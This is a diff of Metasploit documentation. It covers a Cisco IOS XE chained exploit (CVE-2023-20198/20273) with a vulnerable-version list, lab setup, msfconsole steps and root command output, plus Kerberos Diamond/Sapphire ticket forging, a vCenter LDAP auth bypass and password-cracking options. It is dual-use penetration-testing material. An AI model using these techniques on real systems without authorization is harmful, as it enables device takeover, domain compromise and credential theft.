privileges. + +This module leverages CVE-2023-20198 to create a new admin user, then authenticating as this user, +CVE-2023-20273 is leveraged for OS command injection. The output of the command is written to a file and read +back via the webserver. Finally the output file is deleted and the admin user is removed. + +The vulnerable IOS XE versions are: + +16.1.1, 16.1.2, 16.1.3, 16.2.1, 16.2.2, 16.3.1, 16.3.2, 16.3.3, 16.3.1a, 16.3.4, +16.3.5, 16.3.5b, 16.3.6, 16.3.7, 16.3.8, 16.3.9, 16.3.10, 16.3.11, 16.4.1, 16.4.2, +16.4.3, 16.5.1, 16.5.1a, 16.5.1b, 16.5.2, 16.5.3, 16.6.1, 16.6.2, 16.6.3, 16.6.4, +16.6.5, 16.6.4s, 16.6.4a, 16.6.5a, 16.6.6, 16.6.5b, 16.6.7, 16.6.7a, 16.6.8, 16.6.9, +16.6.10, 16.7.1, 16.7.1a, 16.7.1b, 16.7.2, 16.7.3, 16.7.4, 16.8.1, 16.8.1a, 16.8.1b, +16.8.1s, 16.8.1c, 16.8.1d, 16.8.2, 16.8.1e, 16.8.3, 16.9.1, 16.9.2, 16.9.1a, 16.9.1b, +16.9.1s, 16.9.1c, 16.9.1d, 16.9.3, 16.9.2a, 16.9.2s, 16.9.3h, 16.9.4, 16.9.3s, 16.9.3a, +16.9.4c, 16.9.5, 16.9.5f, 16.9.6, 16.9.7, 16.9.8, 16.9.8a, 16.9.8b, 16.9.8c, 16.10.1, +16.10.1a, 16.10.1b, 16.10.1s, 16.10.1c, 16.10.1e, 16.10.1d, 16.10.2, 16.10.1f, 16.10.1g, +16.10.3, 16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, +16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, +16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, +16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, +17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, +17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, +17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, +17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, +17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, +17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, +17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, +17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, +17.11.99SW + +## Testing +This module was tested against IOS XE version 16.12.3. To test this module you will need to either: + +* Acquire a hardware device running one of the vulnerable firmware versions listed above. + +Or + +* Setup a virtualized environment. + * A [CSR1000V](https://www.cisco.com/c/en/us/products/routers/cloud-services-router-1000v-series/index.html) device + can be virtualized using [GNS3](https://www.gns3.com/) and VMWare Workstation/Player. Follow the + [Windows setup guide](https://docs.gns3.com/docs/getting-started/installation/windows) to install GNS3 and the + [topology guide](https://docs.gns3.com/docs/getting-started/your-first-gns3-topology) to learn how GNS3 can be used. + * A suitable firmware image for testing would be `csr1000v-universalk9.16.12.03-serial.qcow2`. + * When setting up GNS3, run the `GNS3 2.2.43` Virtual Machine for deploying QEMU based devices. + * Create a new CSR1000v instance as a QEMU device. + * The CSR1000v device's first ethernet adapter `Gi1` should be connected to a Cloud device, whose adapter was bridged + to the physical adapter on the host machine, allowing an IP address to be assigned via DHCP, and allowing the Web UI to + be accessible to a remote attacker. + * When the virtual router has booted up, you must enable the vulnerable WebUI component. From a serial console on + the device: + ``` + Router>enable + Router#config + Router(config)#ip http server + router(config)#ip http secure-server + router(config)#ip http authentication local + router(config)#username admin privilege 15 secret qwerty + router(config)#exit + Router#copy running-config startup-config + ``` + * You should now be able to access the WebUI via https://TARGET_IP_ADDRESS/webui and login with admin:qwerty + +## Verification Steps +1. Start msfconsole +2. `use auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273` +3. `set RHOST ` +4. `set CMD "id"` +5. `run` + +## Options + +### CMD +A Linux OS command to execute on the target device, e.g. `id` + +### CISCO_ADMIN_USERNAME +The username of an admin account. If not set, CVE-2023-20198 is leveraged to first create a new admin account and then +the new account is then removed after the module completes. + +### CISCO_ADMIN_PASSWORD +The password of an admin account. If not set, CVE-2023-20198 is leveraged to create a new admin password. + +### REMOVE_OUTPUT_TIMEOUT +The maximum timeout (in seconds) to wait when trying to removing the commands output file. The output file +can be locked preventing deleting upon the first attempt, so the module will try again if needed. + +## Scenarios + +``` +msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > show options + +Module options (auxiliary/admin/http/cisco_ios_xe_os_exec_cve_2023_20273): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CISCO_ADMIN_PASSWORD no The password of an admin account. If not set, CVE-2023-20198 is leveraged to c + reate a new admin password. + CISCO_ADMIN_USERNAME no The username of an admin account. If not set, CVE-2023-20198 is leveraged to c + reate a new admin account. + CMD id yes The OS command to execute. + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + REMOVE_OUTPUT_TIMEOUT 30 yes The maximum timeout (in seconds) to wait when trying to removing the commands + output file. + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set rhosts 10.5.135.193 +rhosts => 10.5.135.193 +msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > set verbose true +verbose => true +msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > run +[*] Running module against 10.5.135.193 + +[*] Created privilege 15 user 'rfojGrqA' with password 'ixnXyFlw' +uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:polaris_nginx_t:s0 + +[*] Removing output file '/var/www/fNrmuBOf' +[*] Removing user 'rfojGrqA' +[*] Auxiliary module execution completed + +msf6 auxiliary(admin/http/cisco_ios_xe_os_exec_cve_2023_20273) > +``` \ No newline at end of file diff --git a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md index 71d1fa1f81..3a438fe5a0 100644 --- a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md +++ b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md @@ -1,6 +1,6 @@ ## Kerberos Ticket Forging (Golden/Silver tickets) -The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden or silver ticket. +The `auxiliary/admin/kerberos/forge_ticket` module allows the forging of a golden, silver, diamond or sapphire ticket. ## Vulnerable Application @@ -12,6 +12,8 @@ There are two kind of actions the module can run: 1. **FORGE_SILVER** - Forge a Silver ticket - forging a service ticket. [Default] 2. **FORGE_GOLDEN** - Forge a Golden ticket - forging a ticket granting ticket. +3. **FORGE_DIAMOND** - Forge a Diamond ticket - forging a ticket granting ticket by copying the PAC of another user. +4. **FORGE_SAPPHIRE** - Forge a Golden ticket - forging a ticket granting ticket by copying the PAC of a particular user, using the S4U2Self+U2U trick. ## Pre-Verification steps @@ -199,6 +201,39 @@ export KRB5CCNAME=/Users/user/.msf4/loot/20220901132003_default_192.168.123.13_k python3 $code/impacket/examples/smbexec.py 'adf3.local/Administrator@dc3.adf3.local' -dc-ip 192.168.123.13 -k -no-pass ``` +### Forging Diamond ticket + +A diamond ticket is just a golden ticket (thus requiring knowledge of the krbtgt hash), with an attempt to be stealthier, by: + +- Performing an AS-REQ request to retrieve a TGT for any user +- Using the krbtgt hash to decrypt the real ticket +- Setting properties of the forged PAC to mirror those in the valid TGT +- Encrypting the forged ticket with the krbtgt hash + +The primary requirement of a Diamond ticket is the same: knowledge of the krbtgt hash of the domain. +The `DOMAIN_SID` property is not required, as this is retrieved from the valid TGT. + +To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain +(i.e. `RHOST`, `USERNAME` and `PASSWORD`). + +### Forging Sapphire ticket + +A sapphire ticket is similar to a Diamond ticket, in that it retrieves a real TGT, and copies data from that PAC onto the forged ticket. However, +instead of using the ticket retrieved in the initial authentication, an additional step is performed to retrieve a PAC for another (presumably +high-privilege) user: + +- Authenticating to the KDC +- Using the S4U2Self and U2U extensions to request a TGS for a high-privilege user (this mirrors what the real user's PAC would look like, but the ticket is unusable in high-privilege contexts) +- Decrypt this information +- Setting properties of the forged PAC to mirror those in the valid TGT +- Encrypting the forged ticket with the krbtgt hash + +The primary requirement of a Sapphire ticket is the same as for Golden and Diamond tickets: knowledge of the krbtgt hash of the domain. +The `DOMAIN_SID` and `DOMAIN_RID` properties are not required, as this is retrieved from the valid TGT. + +To perform the first step (retrieving the TGT), you must provide sufficient information to authenticate to the domain +(i.e. `RHOST`, `USERNAME` and `PASSWORD`). + ### Common Mistakes **Invalid hostname** diff --git a/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md b/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md index dd3dbc5bb3..46a051b4c0 100644 --- a/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md +++ b/documentation/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass.md @@ -32,21 +32,21 @@ Add an admin user to the vCenter Server. If you already have the LDAP base DN, you may set it in this option. `dc=vsphere,dc=local` will be used if not set. -### BIND_DN +### USERNAME If you already have a password to authenticate to the LDAP server (see -BIND_PW), this option let you setup the bind username in DN format (e.g +USERNAME), this option let you setup the bind username in DN format (e.g `cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`). -### BIND_PW +### PASSWORD The password to authenticate to the LDAP server, if you have it. -### USERNAME +### NEW_USERNAME Set this to the username for the new admin user. -### PASSWORD +### NEW_PASSWORD Set this to the password for the new admin user. @@ -63,11 +63,11 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- BASE_DN no LDAP base DN if you already have it - PASSWORD no Password of admin user to add + NEW_PASSWORD no Password of admin user to add RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 636 yes The target port SSL true no Enable SSL on the LDAP connection - USERNAME no Username of admin user to add + NEW_USERNAME no Username of admin user to add Auxiliary action: @@ -79,10 +79,10 @@ Auxiliary action: msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted] rhosts => [redacted] -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin -username => msfadmin -msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin -password => msfadmin +msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin +new_username => msfadmin +msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_password msfadmin +new_password => msfadmin msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run [*] Running module against [redacted] not verifying SSL hostname of LDAPS server '[redacted]:636' @@ -140,15 +140,15 @@ Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass): Name Current Setting Required Description ---- --------------- -------- ----------- BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it - BIND_DN cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server + USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server rs,dc=vsphere,dc=local - BIND_PW #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN - PASSWORD NewPassword123# no Password of admin user to add + PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN + NEW_PASSWORD NewPassword123# no Password of admin user to add RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework /wiki/Using-Metasploit RPORT 636 yes The target port SSL true no Enable SSL on the LDAP connection - USERNAME MsfAdmin no Username of admin user to add + NEW_USERNAME MsfAdmin no Username of admin user to add Auxiliary action: diff --git a/documentation/modules/auxiliary/analyze/apply_pot.md b/documentation/modules/auxiliary/analyze/apply_pot.md index ce31a6542e..a9d85cd8ed 100644 --- a/documentation/modules/auxiliary/analyze/apply_pot.md +++ b/documentation/modules/auxiliary/analyze/apply_pot.md @@ -11,28 +11,36 @@ 4. Do: ```run``` 5. You should hopefully crack a password. +## Actions + +### john + +Use john the ripper (default). + +### hashcat + +Use hashcat. + ## Options +### CONFIG - **CONFIG** +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +### JOHN_PATH - **JOHN_PATH** +The absolute path to the John the Ripper executable. Default behavior is to search `path` for `john` and `john.exe`. - The absolute path to the John the Ripper executable. Default behavior is to search `path` for - `john` and `john.exe`. +### POT - **POT** +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +### DeleteTempFiles - **DeleteTempFiles** - - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_aix.md b/documentation/modules/auxiliary/analyze/crack_aix.md index 5b32fa140c..527803ed53 100644 --- a/documentation/modules/auxiliary/analyze/crack_aix.md +++ b/documentation/modules/auxiliary/analyze/crack_aix.md @@ -8,7 +8,7 @@ Formats: | Common | John | Hashcat | -|--------| ---------|---------| +| ------ | -------- | ------- | | des | descript | 1500 | Sources of hashes can be found here: @@ -25,55 +25,54 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options +### CONFIG - **CONFIG** +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +### CRACKER_PATH - **CRACKER_PATH** +The absolute path to the cracker executable. Default behavior is to search `path`. - The absolute path to the cracker executable. Default behavior is to search `path`. +### CUSTOM_WORDLIST - **CUSTOM_WORDLIST** +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +### DeleteTempFiles - **DeleteTempFiles** +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +### Fork - **Fork** +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +### INCREMENTAL - **INCREMENTAL** +Run the cracker in incremental mode. Default is `true` - Run the cracker in incremental mode. Default is `true` +### ITERATION_TIMEOUT - **ITERATION_TIMEOUT** +The max-run-time for each iteration of cracking - The max-run-time for each iteration of cracking +### KORELOGIC - **KORELOGIC** +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +### MUTATE - **MUTATE** - - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -83,44 +82,44 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES - Seed the wordlist with hostnames from the workspace. Default is `true`. +Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_databases.md b/documentation/modules/auxiliary/analyze/crack_databases.md index 3262d10d6e..d586ca9a7d 100644 --- a/documentation/modules/auxiliary/analyze/crack_databases.md +++ b/documentation/modules/auxiliary/analyze/crack_databases.md @@ -18,7 +18,7 @@ | Common | John | Hashcat | -|----------------|-------------|---------| +| -------------- | ----------- | ------- | | mysql | mysql | 200 | | mysql-sha1 | mysql-sha1 | 300 | | mssql | mssql | 131 | @@ -43,62 +43,62 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - **CRACKER_PATH** +### CRACKER_PATH - The absolute path to the cracker executable. Default behavior is to search `path`. +The absolute path to the cracker executable. Default behavior is to search `path`. - **CUSTOM_WORDLIST** +### CUSTOM_WORDLIST - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - **DeleteTempFiles** +### DeleteTempFiles - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - **Fork** +### Fork - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - **INCREMENTAL** +### INCREMENTAL - Run the cracker in incremental mode. Default is `true` +Run the cracker in incremental mode. Default is `true` - **ITERATION_TIMEOUT** +### ITERATION_TIMEOUT - The max-run-time for each iteration of cracking. +The max-run-time for each iteration of cracking. - **KORELOGIC** +### KORELOGIC - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - **MSSQL** +### MSSQL - Crack MSSQL hashes. Default is `true`. +Crack MSSQL hashes. Default is `true`. - **MYSQL** +### MYSQL - Crack MySQL hashes. Default is `true`. +Crack MySQL hashes. Default is `true`. - **MUTATE** +### MUTATE - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -108,53 +108,53 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **ORACLE** +### ORACLE - Crack oracle hashes. Default is `true`. +Crack oracle hashes. Default is `true`. - **POSTGRES** +### POSTGRES - Crack postgres hashes. Default is `true`. +Crack postgres hashes. Default is `true`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES - Seed the wordlist with hostnames from the workspace. Default is `true`. +Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_linux.md b/documentation/modules/auxiliary/analyze/crack_linux.md index 8f3d788d6b..8047794b2e 100644 --- a/documentation/modules/auxiliary/analyze/crack_linux.md +++ b/documentation/modules/auxiliary/analyze/crack_linux.md @@ -11,7 +11,7 @@ * `SHA512` based passwords | Common | John | Hashcat | -|----------|-------------|-------- | +| -------- | ----------- | ------- | | des | descript | 1500 | | md5 | md5crypt | 500 | | bsdi | bsdicrypt | 12400 | @@ -33,71 +33,70 @@ ## Actions - **john** +### john - Use john the ripper (default). +Use john the ripper (default). - **hashcat** +### hashcat - Use hashcat. +Use hashcat. ## Options - **BLOWFISH** +### BLOWFISH - Crack Blowfish hashes. Default is `false`. +Crack Blowfish hashes. Default is `false`. - **BSDi** +### BSDi - Crack BSDi hashes. Default is `true`. +Crack BSDi hashes. Default is `true`. - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +### CRACKER_PATH - **CRACKER_PATH** +The absolute path to the cracker executable. Default behavior is to search `path`. - The absolute path to the cracker executable. Default behavior is to search `path`. +### CUSTOM_WORDLIST - **CUSTOM_WORDLIST** +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other +`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +### DES - **DES** +Crack DES hashes. Default is `true`. - Crack DES hashes. Default is `true`. +### DeleteTempFiles - **DeleteTempFiles** +This option will prevent deletion of the wordlist and file containing hashes. This may be useful for +running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. - This option will prevent deletion of the wordlist and file containing hashes. This may be useful for - running the hashes through john if it wasn't cracked, or for debugging. Default is `false`. +### Fork - **Fork** +This option will set how many forks to use on john the ripper. Default is `1` (no forking). - This option will set how many forks to use on john the ripper. Default is `1` (no forking). +### INCREMENTAL - **INCREMENTAL** +Run the cracker in incremental mode. Default is `true` - Run the cracker in incremental mode. Default is `true` +### ITERATION_TIMEOUT - **ITERATION_TIMEOUT** +The max-run-time for each iteration of cracking. - The max-run-time for each iteration of cracking. +### KORELOGIC - **KORELOGIC** +Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). +Default is `false`. - Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower). - Default is `false`. +### MD5 - **MD5** +Crack MD5 hashes. Default is `true`. - Crack MD5 hashes. Default is `true`. +### MUTATE - **MUTATE** - - Apply common mutations to the Wordlist (SLOW). Mutations are: +Apply common mutations to the Wordlist (SLOW). Mutations are: * `'@' => 'a'` * `'0' => 'o'` @@ -107,52 +106,52 @@ * `'1' => 'l'` * `'5' => 's'` - Default is `false`. +Default is `false`. - **POT** +### POT - The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which - records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. - Default is `~/.msf4/john.pot`. +The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which +records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`. +Default is `~/.msf4/john.pot`. - **SHA256** +### SHA256 - Crack SHA256 hashes. Default is `false`. +Crack SHA256 hashes. Default is `false`. - **SHA512** +### SHA512 - Crack SHA12 hashes. Default is `false`. +Crack SHA12 hashes. Default is `false`. - **SHOWCOMMAND** +### SHOWCOMMAND - Show the command being used run from the command line for debugging. Default is `false` +Show the command being used run from the command line for debugging. Default is `false` - **USE_CREDS** +### USE_CREDS - Use existing credential data saved in the database. Default is `true`. +Use existing credential data saved in the database. Default is `true`. - **USE_DB_INFO** +### USE_DB_INFO - Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, - and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. +Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name, +and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`. - **USE_DEFAULT_WORDLIST** +### USE_DEFAULT_WORDLIST - Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is - `true`. +Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is +`true`. - **USE_HOSTNAMES** +### USE_HOSTNAMES - Seed the wordlist with hostnames from the workspace. Default is `true`. +Seed the wordlist with hostnames from the workspace. Default is `true`. - **USE_ROOT_WORDS** +### USE_ROOT_WORDS - Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default - is true. +Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default +is true. - **WORDLIST** +### WORDLIST - Run the cracker in dictionary/wordlist mode. Default is `true` +Run the cracker in dictionary/wordlist mode. Default is `true` ## Scenarios diff --git a/documentation/modules/auxiliary/analyze/crack_mobile.md b/documentation/modules/auxiliary/analyze/crack_mobile.md index 2e2502ee98..fb48f790ae 100644 --- a/documentation/modules/auxiliary/analyze/crack_mobile.md +++ b/documentation/modules/auxiliary/analyze/crack_mobile.md @@ -10,7 +10,7 @@ Formats: | Common | John | Hashcat | -|----------------------| -----|---------| +| -------------------- | ---- | ------- | | android-md5 | n/a | 10 | | android-samsung-sha1 | n/a | 5800 | | android-sha1 | n/a | 110 | @@ -29,62 +29,62 @@ ## Actions - **hashcat** +### hashcat - Use hashcat (default). +Use hashcat (default). ## Options - **MD5** +### MD5 - Crack `android-md5` based passwords. Default is `true` +Crack `android-md5` based passwords. Default is `true` - **SHA1** +### SHA1 - Crack `android-sha1` (non-samsung) based passwords. Default is `true` +Crack `android-sha1` (non-samsung) based passwords. Default is `true` - **SAMSUNG** +### SAMSUNG - Crack `android-samsung-sha1` based passwords. Default is `true` +Crack `android-samsung-sha1` based passwords. Default is `true` - **CONFIG** +### CONFIG - The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` +The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf` - **CRACKER_PATH** +### CRACKER_PATH - The absolute path to the cracker executable. Default behavior is to search `path`. +The absolute path to the cracker executable. Default behavior is to search `path`. - **CUSTOM_WORDLIST** +### CUSTOM_WORDLIST - The path to an optional custom wordlist. This file is added to the new wordlist which may include the other - `USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it. +The path to an optional custom wordlist. This file is added to the new wordlist which may include the other 